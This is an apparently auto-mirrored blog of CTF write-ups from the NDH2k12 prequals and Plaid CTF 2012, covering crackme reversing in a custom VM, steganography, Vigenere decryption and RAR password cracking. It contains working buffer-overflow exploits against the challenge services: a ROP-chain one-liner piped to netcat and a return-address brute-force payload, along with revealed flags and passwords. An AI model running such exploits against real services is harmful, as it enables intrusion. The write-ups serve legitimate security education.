Ce site n'est pas le site officiel blog.w3challs.com.
C'est un blog automatisé qui réplique les articles de blog.w3challs.com
Le weekend dernier nous avons participé aux côtés de la team Shell-Storm au Plaid CTF 2012 sous le nom w3stormz (w3pwnz+Shell-Storm).
C'était notre première collaboration avec une autre team et on peut dire que cela s'est très bien déroulé. Super ambiance pendant le CTF et on a fini 4ème.

Nous n'avons malheureusement pas eu trop le temps de faire des writes-up, voici ce que nous avons eu le temps de rédiger :
Vous trouverez une collection presque complète sur les sites suivants :
Bonne lecture...
Source: http://blog.w3challs.com/index.php?post/2012/05/04/Plaid-CTF-2012

This year challenges were organized an unusual way: we were some hax0rz hired by a company to complete some tasks they asked for, rewarded by money.
Thus it was storyline, quite messy, hence the following tree, trying to resume how we got accesses to challenges:
Mail "We are looking for a real hacker"
`-> "Wallpaper image" ($300)
+
|
+-> Mail "What about this file?"
`-> "binary file ndh" ($1500)
+
|
+-> Mail "Another weird link"
`-> "complex remote service" ($2500)
`-> "interesting audio file" ($500)
`-> "Mole information" ($900)
`-> "Unknown text" ($100)
+
|
+-> Mail "Any idea how to use this file"
`-> "Unknown file extension" ($1700)
`-> "Unknown zip archive" ($100)
+
|
+-> Mail "unknown binary, need your help"
`-> "Strange binary file" ($500)
+
|
+-> Mail "New email from our contact"
`-> "Sciteek shortener" ($1000)
+
|
+-> Mail "Time is running out"
`-> "captured file" ($???)
`-> "strange binary file #2" ($2500)
Here are the people that participated: Niklos, Ufox, mirmo, Mr_KaLiMaN, vortex, MaZ, Groskoinkoin, criple_ripper, FrizN, Cladff10, Ge0, ThunderLord, awe
Once again, we solved all challenges!
UPDATE : The staff finally released the final ranking, and as expected we finish 1st, since we were the first to finish all the challenges :)
Here is a screenshot of the final ranking :
Here are the links to our writeups for each challenge, in the order we solved them:
We can sum up this CTF with pictures below =)
|
|
|
Source: http://blog.w3challs.com/index.php?post/2012/03/25/NDH2k12-Prequals-
From: Jessica <jessica@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: New email from our contact
Attachments : executable2.ndh
Thank you again for your help, our technical staff has a pretty good overview
of the new device designed by Sciteek. Your account will be credited with $500.
You did work hard enough to impress me, your help is still more than welcome,
you will get nice rewards. Our anonymous guy managed to get access to another
bunch of files. Here is one of his emails:
---
Hi there, see attached file for more information. It was found on
http://sci.nuitduhack.com/EgZ8sv12.
---
Maybe you can get further than him by exploiting this website.
We also need to get
as much information as possible about the file itself. If you succeed, you will
be rewarded with $2500 for the ndh file and $1000 for the website. Please use
"Sciteek shortener" and "strange binary file #2" titles.
Regards,
Jessica.
This challenge was another crackme. I called it "VMception", and it was a little harder than the other one =)
First we noticed the string "password is wrong:" (0x8737), and another a little stranger "Unhandled exception occured during execution. Exiting" (0x874b) and search for their references :
0x85f6: movl r0, #0x874b ; <-- unhandled exception 0x85fb: call 0xfb7a 0x85ff: end ------ 0x8672: movl r0, #0x8737 ; <-- password is wrong 0x8677: call 0xfafe 0x867b: end
The entry point of the crackme is a "jmpl 0x0624", corresponding to the following routine :
0x8627: movl r0, #0x867c ; <-- source = 0x867c 0x862c: movl r1, #0x86e8 0x8631: sub r1, r0 ; <-- 0x86e8 - 0x867c = 0x6C = 108 0x8635: call 0xfc64 ; --> 0x829d (memcpy_to_0x000a) 0x8639: movl r0, #0x0000 0x863e: movl r1, #0x0035 0x8643: movl r2, #0x0000 0x8648: movl r3, #0x0000 0x864d: call 0xfc67 0x8651: call 0xffab ; --> 0x8600 (ask password) 0x8655: call 0xfed8 ; --> 0x8531 (VMception) 0x8659: movl r0, #0x0000 ; <-- 0x0000 = buffer password 0x865e: call 0xfca9 0x8662: test r0, r0 0x8665: jz 0x000a ; --> goto password_is_wrong if r0 = 0 0x8668: movl r0, #0x872a 0x866d: call 0xfb90 ; --> pwned \o/ 0x8671: end
The first action is to copy 0x6c bytes of data from 0x867c to 0x000a :
niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug [Console]#> x/x 0x867c:0x6c 0x867c: 0a 06 06 00 00 0b 02 07 4d 06 00 07 02 07 78 07 0x868c: 00 07 09 02 02 07 61 06 01 07 02 07 02 07 01 07 0x869c: 09 02 02 07 72 06 02 07 02 07 43 07 02 07 09 02 0x86ac: 02 07 31 06 03 07 02 07 45 07 03 07 09 02 02 07 0x86bc: 30 06 04 07 02 07 03 07 04 07 09 02 02 07 4c 06 0x86cc: 05 07 02 07 7f 07 05 07 09 02 02 07 64 06 06 07 0x86dc: 02 07 0f 07 06 07 09 02 02 00 01 0b
So far, we've got no idea of what the hell it could be, except that's probably vicious... We need to go deeper :)
Then, a 8bytes password is read, and stored in 0x0000 (which is quite surprising when you forget that you're in a very simple virtual machine). Next is a quite big routine, but quite easily understandable :
0x8531: push r2 0x8534: call 0xfdf9 ; --> 0x8331 (code = get_next_ element) 0x8538: cmpb r0, #11 ; --> code == 0xb 0x853c: jnz 0x0003 0x853f: jmpl 0x008f ; --> goto 0x85d1 (BREAK) 0x8542: cmpb r0, #01 ; --> code == 0x01 0x8546: jnz 0x0007 0x8549: call 0xfeec 0x854d: jmpl 0xffe4 0x8550: cmpb r0, #02 ; --> code == 0x2 0x8554: jnz 0x0007 0x8557: call 0xff0e 0x855b: jmpl 0xffd6 ; --> loop [...] 0x85c0: cmpb r0, #0a ; --> code == 0xa 0x85c4: jnz 0x0007 0x85c7: call 0xff5d 0x85cb: jmpl 0xff66 ; --> loop 0x85ce: jmpl 0x0025 ; --> 0x85f6 (unhandled_exception) .label BREAK: [...] 0x85f5: ret
First, this routine get an opcode from the buffer we previously copied in 0x000a, by calling 0x8331. Then, there's a switch/case test on this code, with a registered action for each from 0x00 to 0x0a, and 0x0b is the code signifying the end of the routine.
We now have a better understanding of the crackme : VMception : a VM inside a VM, and the buffer in 0x000a contains our program (we already see that most bytes are in [0x0 - 0xa] and it ends by 0xb.
Now comes the fun part when you trace the program opcode by opcode to understand the corresponding subroutines...
Here is what you can say then :
Let's check the subroutines of opcodes 0x02, 0x6, 0x7 and 0x9, starting with 0x2 :
[...] 0x8472: call 0xfebb ; --> 0x8331 (get_next_element = always 7) 0x8476: mov r1, r0 0x847a: call 0xfeb3 ; --> 0x8331 (get_next_element = X, a value outside [0,a], like 0x4d, 0x78, ...) 0x847e: mov r2, r0 0x8482: mov r0, r1 0x8486: mov r1, r2 0x848a: call 0xfe90 ; --> 0x831e (write_r0_at_r1 : writes the ) [...] 0x8494: ret
So this routine retrieves a value that is not an opcode, and stores it at 0x7.
Now 0x6 :
[...] 0x83b0: call 0xff7d ; --> 0x8331 (get_next_element = index i in the password of the char to be tested) 0x83b4: mov r3, r0 0x83b8: call 0xff75 ; --> 0x8331 (get_next_ element = always 7) 0x83bc: call 0xff4b ; --> 0x830b (return *R0 == get [0x07]) 0x83c0: mov r2, r0 0x83c4: mov r0, r3 0x83c8: call 0xff3f ; --> 0x830b (return *R0 = get password[i], the value of the char to be tested) 0x83cc: xor r0, r2 ; --> XOR 0x83d0: mov r1, r0 0x83d4: mov r0, r3 0x83d8: call 0xff42 ; --> 0x831e (write_r1_at_r0 = write the xored value at password[i]) [...] 0x83e4: ret
This one takes the previous value at 0x7 and XOR the current byte of the password with it.
Now 0x7 :
[...] 0x849e: call 0xfe8f ; --> 0x8331 (get_next_element = index i in the password of the char to be tested) 0x84a2: call 0xfe65 ; --> 0x830b (return *R0 = get password[i], the value of the char to be tested) 0x84a6: mov r1, r0 0x84aa: call 0xfe83 ; --> 0x8331 (get_next_ element = always 7) 0x84ae: call 0xfe59 ; --> 0x830b (return *R0 == get [0x07]) 0x84b2: mov r2, r0 0x84b6: cmp r1, r2 ; --> CMP password[i], [0x7] 0x84ba: movl r1, #0x00 ; --> R1 = 0 0x84bf: jnz 0x0002 0x84c2: inc r1 ; --> R1 = 1 0x84c4: movl r0, #0x08 ; --> R0 = 8 0x84c9: call 0xfe51 ; --> 0x831e (write_r0_at_r1 = writes the result of CMP at 0x8) [...] 0x84d3: ret
This routine compares the current byte of the password with some value stored in 0x7.
And finally 0x9 :
[...] 0x8504: call 0xfe29 ; --> 0x8331 (get_next_element = always 0x2) 0x8508: mov r1, r0 0x850c: movl r0, #0x0008 ; --> R0 = 8 0x8511: call 0xfdf6 ; --> 0x830b (return *R0 = get [0x08]) 0x8515: test r0, r0 0x8518: jnz 0x0008 0x851b: mov r0, r1 0x851f: call 0xfe30 ; --> IF [0x08] == 0 THEN : 0x8353 (change_program_counter by 0x2) [...] 0x8527: ret
This one changes the program counter by 0x2 if the previous comparison fails.
We now know how one byte of the password is checked :
So with 3 breakpoints in routines of opcodes 0x6, 0x7 and 0x9, we can get the xor keys and the xored values :
niklos@box:~/ndh/jessica4# vmndh -file executable2.ndh -debug [Console]#> bp 0x83c0 Breakpoint set in 0x83c0 [Console]#> bp 0x84b6 Breakpoint set in 0x84b6 [Console]#> bp 0x8515 Breakpoint set in 0x8515 [Console]#> run [...] [SYSCALL output]: Please enter Sciteek admin password: AAAAAAA [...] [BreakPoint 1 - 0x83c0] 0x83c0 > mov r2, r0 [Console]#> info reg [r0]: 004d ; --> first xor key is 0x4d [...] [Console]#> run [BreakPoint 2 - 0x84b6] 0x84b6 > cmp r1, r2 [Console]#> info reg [r0]: 0078 ; --> first xored value is 0x78 [Console]#> run [...] [BreakPoint 3 - 0x8515] 0x8515 > test r0, r0 [Console]#> set r1=1 ; --> set the result of the comparison to 1 r1 = 0x0001 [Console]#> run [...] And so on for the 7 bytes of the password :)
Now we xor all this and get the password :
>>> a = [0x4d, 0x61, 0x72, 0x31, 0x30, 0x4c, 0x64] >>> b = [0x78, 0x02, 0x43, 0x45, 0x03, 0x7f, 0x0f] >>> print ''.join([ chr(a[i] ^ b[i]) for i in range(len(a)) ]) 5c1t33k
Bazinga \o/
The cover document was a song from the Blues Brothers, "Rawhide". The title suggests that the method used is simple.
This was indeed one of the most straightforward challenges: take the lsb from every frame, and you're done.
The frames are in 16 bits little endian format, so we need to take one every two bytes. There are two audio channels, but this isn't important. The size of the file is given in the first four bytes, as in the bmp challenge.
#!/usr/bin/python import wave def debin(s): return "".join(chr(int(s[i:i+8],2)) for i in range(0,len(s),8)) w = wave.open("sound.wav") nbframes = w.getnframes() frames = w.readframes(nbframes) lsbsize = "".join( str(ord(i)&1) for i in frames[0:64:2] ) size = int(lsbsize,2)*8 lsbfile = "".join( str(ord(i)&1) for i in frames[64:64+size*2:2] ) pdf = debin(lsbfile) outfile = open("ndh2012_sound.pdf","wb") outfile.write(pdf) outfile.close()
From: Jessica <jessica@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: unknown binary, need your help
Attachments : executable1.ndh
Hello again,
Thank you very much for your help. It is amazing that our technical staff and
experts did not manage to recover any of it: the password sounds pretty weak.
I will notify our head of technical staff.
Anyway, I forwarded them the file for further investigation. Meanwhile, we got
fresh news from our mystery guy. He came along with an intersting binary file.
It just looks like an executable, but it is not ELF nor anything our experts
would happen to know or recognize. Some of them we quite impressed by your skills
and do think you may be able to succeed here. I attached the file, if you discover
anything, please send me an email entitled "Strange binary file".
This will be rewarded, as usual. By the way, your account has just been credited
with $100.
Regards,
Jessica.
We first noticed the two strings "Good password" and "Bad password" at the end of the file.
An easy way to attack a crackme is to search for string references in the code. The disassembly from vmndh tells us that the "Bad password" string is loaded in 0x8480, and referenced from
0x82d4: 0x82d4: movl r0, #0x8480 0x82d9: call 0xffdd 0x82dd: ret
This is the "bad boy" case, and whatever "call 0xffdd" is, it must be the impression routine. There were two methods to get the actual adresses of the calls: check them in the debugger, or patch the disassembled output to translate relative calls into absolute ones. This is what patch.py does.
With it, we can see that the address 0x82d4 is called 9 times between 0x82e8 and 0x83e1, just after "jz" instructions.
A first test is made, that checks the length of the input:
0x82e8: mov r7, r0 0x82ec: movl r6, #0x840d 0x82f1: call 0x8003 0x82f5: cmpb r0, #09 ; 9 bytes (8 without "\x0a") 0x82f9: jz 0x0005 0x82fc: call 0x82d4 ; -> bad boy 0x8300: end
After that, each time the bytes pointed by r7 and r6 are xored together and compared to a hardcoded value. Then r7 and r6 are incremented:
0x8301: mov r0, [r7] 0x8305: mov r1, [r6] 0x8309: xor r0, r1 0x830d: cmpb r0, #78 0x8311: jz 0x0005 0x8314: call 0x82d4 0x8318: end 0x8319: inc r7 0x831b: inc r6
Let's load the program in the debugger and put a breakpoint at 0x8301, to see what these registers point to:
[BreakPoint 1 - 0x8301] 0x8301 > mov r0, [r7] [Console]#> info reg [r0]: 0061 [r4]: 0000 [r1]: 0000 [r5]: 0000 [r2]: 7fda [r6]: 840d [r3]: 001f [r7]: 7fda [bp]: 7ffa [zf]: 0001 [sp]: 7fd8 [af]: 0000 [pc]: 8305 [bf]: 0000 [Console]#> x/x 7fda:8 0x7fda: 61 62 63 64 65 66 67 68 <- our input [Console]#> x/x 840d:8 0x840d: 02 05 03 07 08 06 01 09 <- the key
According to the cmpb instructions, the result must be 78 44 73 6b 61 3e 6e 5e. The correct input is therefore
>>> format(0x7844736b613e6e5e ^ 0x0205030708060109,"x").decode("hex") 'zApli8oW'
Let’s use it:
~/ndh2012$ nc sciteek.nuitduhack.com 4001 Sciteek protected storage #1 Enter your password: zApli8oW <PSP version="1.99"> <MOTD> <![CDATA[ Welcome on SciPad Protected Storage. The most secure storage designed by Sciteek. This storage protocol allows our users to share files in the cloud, in a dual way. This daemon has been optimized for SciPad v1, running SciOS 16bits with our brand new processor. ]]> </MOTD> <FLAG> ea1670464251ea3b65afd624d9b17cd7 </FLAG> <ERROR> An unexpected error occured: PSP-UNK-ERR-001> application closed. </ERROR> </PSP>
File sp112.rar
The rar file is password protected => Let’s try to crack it...
Open Advanced Archive Password Recovery and launch a dictionary attack :
After some hours or some minutes depending on your dictionary, the password is found : smith
You only have to extract the rar and send it.
The contents of the RAR will be very useful for later...
From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".
Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.
Piotr
We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:
#!/usr/bin/env python import sys import re def rel(line, size=4): fro, off = re.findall("0x([0-9a-f]{1,4})", line) ifro, ioff = int(fro, 16), int(off, 16) if ioff > 0x8000: ioff = ioff - 0x10000 ito = ifro + 4 + ioff line = line.replace(off, format(ito, "04x")) return line if __name__=="__main__": for line in open(sys.argv[1]).readlines(): if " call" in line: print rel(line), else: print line,
Result:
[...] 0x8497: call 0x84ed 0x849b: mov r0, r2 0x849f: movl r1, #0x847c 0x84a4: movb r2, #0x03 0x84a8: call 0x80c0 0x84ac: cmpb r0, #00 0x84b0: jnz 0x0009 0x84b3: movl r0, #0x8400 0x84b8: call 0x8179 0x84bc: end 0x84bd: pushl #beef ; Push a canary 0x84c2: nop 0x84c3: mul r2, r4 0x84c7: nop 0x84c8: .byte 0x00 0x84c9: .byte 0x00 0x84ca: .byte 0x00 0x84cb: mov r1, r8 0x84cf: movl r2, #0x03fc ; Read 1020 bytes 0x84d4: call 0x81d8 0x84d8: mov r0, r1 0x84dc: addl r8, #0200 0x84e1: pop r1 0x84e3: cmpl r1, #beef 0x84e8: jz 0x0001 0x84eb: end 0x84ec: ret 0x84ed: subl r8, #0200 ; Reserve 512 bytes 0x84f2: call 0x84bd 0x84f6: addl r8, #0200 0x84fb: ret
We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()
So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:
% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc sciteek.nuitduhack.com 4005 [!] Segfault 0x4242 (NX bit)
We assumed ASLR was on and no PIE, let’s ROP :)
We want to proceed as below:
movl r3, #0x20 movl r2, #0x2000 movl r1, #0 movl r0, 3 syscall ; read mov r1, r2 movl r2, #0 movl r0, #2 syscall ; open mov r1, r0 movl r2, #0x3000 movl r3, #0x1024 movl r0, #3 syscall ; read mov r3, r0 movl r1, #1 movl r0, #4 syscall ; write
Our ROP gadgets:
; READ [0x8172] 0x8172: pop r3 0x8174: pop r2 0x8176: pop r1 0x8178: ret [0x81e4] 0x81e4: movb r0, #0x03 0x81e8: syscall 0x81e9: ret ; OPEN [0x8174] 0x8174: pop r2 0x8176: pop r1 0x8178: ret [0x81d2] 0x81d2: movb r0, #0x02 0x81d6: syscall 0x81d7: ret ; READ [0x8172] 0x8172: pop r3 0x8174: pop r2 0x8176: pop r1 0x8178: ret [0x81e0] 0x81e0: mov r1, r0 0x81e4: movb r0, #0x03 0x81e8: syscall 0x81e9: ret ; WRITE [0x818f] 0x818f: movb r1, #0x01 0x8193: movb r0, #0x04 0x8197: syscall 0x8198: pop r1 0x819a: pop r0 0x819c: ret
ROP Payload:
0x8172 0x14 0x2000 0x0 0x81e4 0x8174 0x0 0x2000 0x81d2 0x8172 1024 0x3000 0xdead 0x81e0 0x818f
We then fill the first read (0x3fc bytes) with junk:
‘Z’ * (0x3fc - len(payload) - 512)
And our file: “sciteek-private\x00”.
So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]
Finally our python one-liner:
python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc sciteek.nuitduhack.com 4005 Dear Patrick, We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information. However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business , but one of them contains an archive with an explicit name. We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be. Sincerely, David Markham. [!] Segfault 0x5a5a (NX bit)
After decrypting the secret message, we got a new email, from Piotr this time, a supposed technical operative.
From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Any idea how to use this file?
Attachments : webApp.ndh
Hi
Great job there! You seem to be quite a great cryptograph, wow. Your account has been credited with $100. Btw, I'm Piotr, from the technical staff. Maybe Jessica told you about me, we will interact directly about complex questions.
Anyway, our anonymous contact at Sciteek has sent us another binary file with that strange extension, will you be able to break it? If you manage so, please contact me directly with the subject "Unknown file extension", $1700 dollars to earn!
KR
Piotr
As you can see, he asks us to study a file which format and extension are unknown.
The file is pretty small (897 bytes), and contains some strings :
# strings webApp.ndh
.NDH{
Welcome on Sciteek' SciPad secure shell !
Please enter your passphrase:
Nope. It is not the good password
sciteek.nuitduhack.com:4000
LxTBh9pv.txt
We can easily recognize the other strings as coming from the pseudo-assembly code decrypted. A quick look at it shows a blatant 10-bytes read while the function frame is only 8-bytes long. We can quickly check this buffer overflow on the online service:
# nc sciteek.nuitduhack.com 4000 Welcome on Sciteek' SciPad secure shell ! Please enter your passphrase: 0123456789 [!] Segfault 0x3938 (opcode unknown)
From the plain ASM, we also spot a debug function whose job is to display the “esoasoel.txt” file, obvious candidate for our BoF. From there on, two options: bruteforcing the possible return addresses or reversing the file format to find the actual offset of the debug function.
The address space is only 16-bits long and we haven’t enough place for a shellcode anyway: we chose to bruteforce it - at the time, we did not have the NDH virtual machine from the rar archive to directly get the correct offset. The only trick here is to think about injecting 9 bytes instead of 10 to get the heavy-weighted one:
$ perl -e 'print "A"x9' | nc sciteek.nuitduhack.com 4000 Welcome on Sciteek' SciPad secure shell ! Please enter your passphrase: [!] Segfault 0x8241 (opcode unknown)
The assembly suggests that the debug function we are looking for is farther ahead in the code segment than the call :ask_password, so we launched a bruteforce from 0x8200 to 0x83ff included.
Finally, Ezekiel 25:17 pops up:
# python -c "print 'A'*8+'\xdb\x82'" | nc sciteek.nuitduhack.com 4000
Welcome on SciPad Shell, root.
The path of the righteous man is beset on all sides by the inequities of the selfish and the tyranny of evil men.
Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly his brother's keeper and the finder of lost children.
And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison and destroy My brothers.
And you will know My name is the Lord when I lay My vengeance upon thee.
- God (f98eb53e7960c9a663c60a916b6de70e)
Be careful, this service is not protected by any option, to avoid exploitation please use the new version of this shell available on sciteek.nuitduhack.com:4004.
This service runs in a vm with stack layout randomization which is more secure
Something's fucked up ('cause our developers drink too much beer).
Try later. Or not.
First we have to study the binary. So hex editor it is.

The first four bytes indicate the file type, here NDH. The two following bytes indicate the size of the code and data section : the end offset is 0x37F, and 0x37F - FILE_TYPE_FIELD_SIZE (4) = 0x37B.
The data section is localized at the end of the file :

We recognize the strings from the pseudo ASM code with a little difference : the name of the text file.
Now we have to find the function that displays the file content. Thanks to the Scios Instruction Set we extracted from the audio file, we know that the binary is mapped at the 0x8000 address. We manually compile the following statement :
.LABEL TEMP_ROUTINE MOVL R0, :FLAG_FILE CALL :DISP_FILE_CONTENT END
MOVL R0, :FLAG_FILE give us the following opcodes :
MOV REG_DIRECT16 FLAG R0 FILE NAME ADDR LITTLE ENDIAN 04 02 00 6e 83
The filename address is calculated by adding the filename offset in the file (0x374 - HDR_SIZE(6)) to the memory base address (0x8000) which give us 0x836E.
We can’t fully compile the next statement, because we don’t know where is the DISP_FILE_CONTENT function, however we know the compiled statement will be something like that :
CALL DIRECT16 FLAG FUNCTION ADDRESS 19 04 XX XX
Consequently, we can look for the followings bytes in the binary :
04 02 00 6E 83 19 04

And we find them at the file offset 2E1 that we translate into memory address :
0x8000 + 0x2E1 - 0x6 (HDR_SIZE) = 0x82DB.
No surprise here, this is the address we found by bruteforcing the BoF. Well, that’s it.

The bmp file has no padding bytes, and its size matches the image dimensions (4374054 = 810*1800*3 +0x36 for the header).
On the other hand, applying an LSB filter reveals that something is wrong on the left side of the image (the 630 first columns from the left look filled with random bits).
The three colors are affected in the same way, and the second LSB is normal. So, we certainly have an LSB encoding with one bit per byte.
The fact that the bits form a rectangle suggests the encoding was done following the image order rather than the file order. The two most logical choices (for occidentals) are left-to-right and up-to-down. I was going for the former; the grace of the random Bug made me do the latter first.
Here is how the data begin:
00 02 eb 9b 78 9c d4 b9 65 54 ...
The index of coincidence reveals a flat distribution. The data could be either encrypted or compressed. But then, the two first bytes are suspiciously low.
0x2eb9b (191387) is also very close to the rectangle size: 630*810*3 / 8 = 191362. And as it happens, 78 9C is a typical beginning for strings compressed with zlib (deflate algorithm).
Quote from http://garethrees.org/2007/11/14/pngcrush/ :
The header byte 78 meaning “deflate compression with a 32 KiB window”.
The informational byte 9c meaning “the default compression algorithm was used” (plus a checksum).”
So all that has to be done is to extract the least significant bits in column-major (up-to-down), skip the first four bytes indicating the size of the file, and decompress the rest with zlib.
The output file is a pdf describing a few products from SCIOS. This file is the flag.
#!/usr/bin/python import sys, zlib,Image, struct bmp = Image.open("sp113.bmp") pix = bmp.load() lsb = [] for x in range(640): for y in range(810): lsb.extend( str(i&1) for i in pix[(x,y)] ) lsb = "".join(lsb) lsb = "".join(chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb),8)) length = struct.unpack(">I",lsb[:4])[0] pdf = zlib.decompress(lsb[4:4+length]) outfile = open("sp113.pdf","wb") #"b" is for windows users outfile.write(pdf) outfile.close()


File sp111
After opening the sp111 text file, we guessed that it was encrypted with vigenere.
We tried an auto-decrypt with http://www.apprendre-en-ligne.net/crypto/vigenere/decryptauto.html, revealing that “OFJZUANDEOQDK” would be the most probable key.
We reconstructed the following plain text :
; HI, ; I WAS DISCRETELY WANDERING AROUND AS USUAL YESTERDAY. A COUPLE OF ; SYSTEM DEVELOPPERS WERE SHOUTING ABOUT CORPORATE DEVICES QUALITY ; DECREASING EVERY YEAR WHEN THEY FINALLY AGREED ABOUT USING LOCAL ; NETWORK TO TRANSFER SOME PICTURES. FROM THE DEAD USB KEY I MANAGED ; TO RECOVER FROM THE TRASHCAN AND TO CLEAN, I FINALLY EXTRACTED A ; COUPLE OF MEGABYTES OF UNALTERED DATA. WORTHLESS CORPORATE ; MAILS, PERSONAL PICTURES I DECIDED TO KEEP FOR MY PRIVATE USE AND FEW ; INTERESTING FILES, ESPECIALLY SOME ASM SOURCE CODE THAT YOU MIGHT ; FIND VALUABLE. I ATTACHED ONE OF THEM, PLEASE CONTACT ME IF YOU WOULD ; LIKE ANY FURTHER INVESTIGATION ABOUT THOSE PIECES OF CODE. ; TEST PROGRAM #1 - BUILD #35 FOR SCIPAD ; HTTP://SCITEEK.NUITDUHACK.COM ; SOME INCLUDES #INCLUDE INC/STDLIB.INC ; THIS ROUTINE ASKS FOR A PASSWORD AND PUT THE ADDRESS IN R5 AND THE SIZE IN R0 .LABEL ASK_PASSWORD ; DISPLAY A PROMPT MOVL R0, :PWD_MSG CALL :PRINT ; ALLOCATE SOME SPACE ON STACK SUBB SP, #8 MOV R5, SP MOVL R0, STDIN MOV R1, R5 MOVB R2, #10 ; READ THE PASSWORD FROM STDIN CALL :READ ; RESTORE THE STACK POINTER ADDB SP, #8 ; RETURN RET ; OUR MAIN ; ; BASICALLY, THIS PROGRAM DOES NOTHING USEFUL ... IT IS JUST A SAMPLE ;) .LABEL MAIN ; DISPLAY A WELCOME MESSAGE MOVL R0, :WELCOME CALL :PRINT ; ASK FOR A PASSWORD CALL :ASK_PASSWORD ; DISPLAYS AN ERROR MOVL R0, :ERROR CALL :PRINT ; QUIT END ; TEMP ROUTINE (NOT USED ANYMORE) .LABEL TEMP_ROUTINE MOVL R0, :FLAG_FILE CALL :DISP_FILE_CONTENT END .LABEL WELCOME .DB "WELCOME ON SCITEEK' SCIPAD SECURE SHELL !",0X0A,0 .LABEL PWD_MSG .DB "PLEASE ENTER YOUR PASSPHRASE: ",0 .LABEL ERROR .DB "NOPE. IT IS NOT THE GOOD PASSWORD",0X0A,0 .LABEL HINT .DB "SCITEEK.NUITDUHACK.COM:4000",0 .LABEL FLAG_FILE .DB "ESOASOEL.TXT",0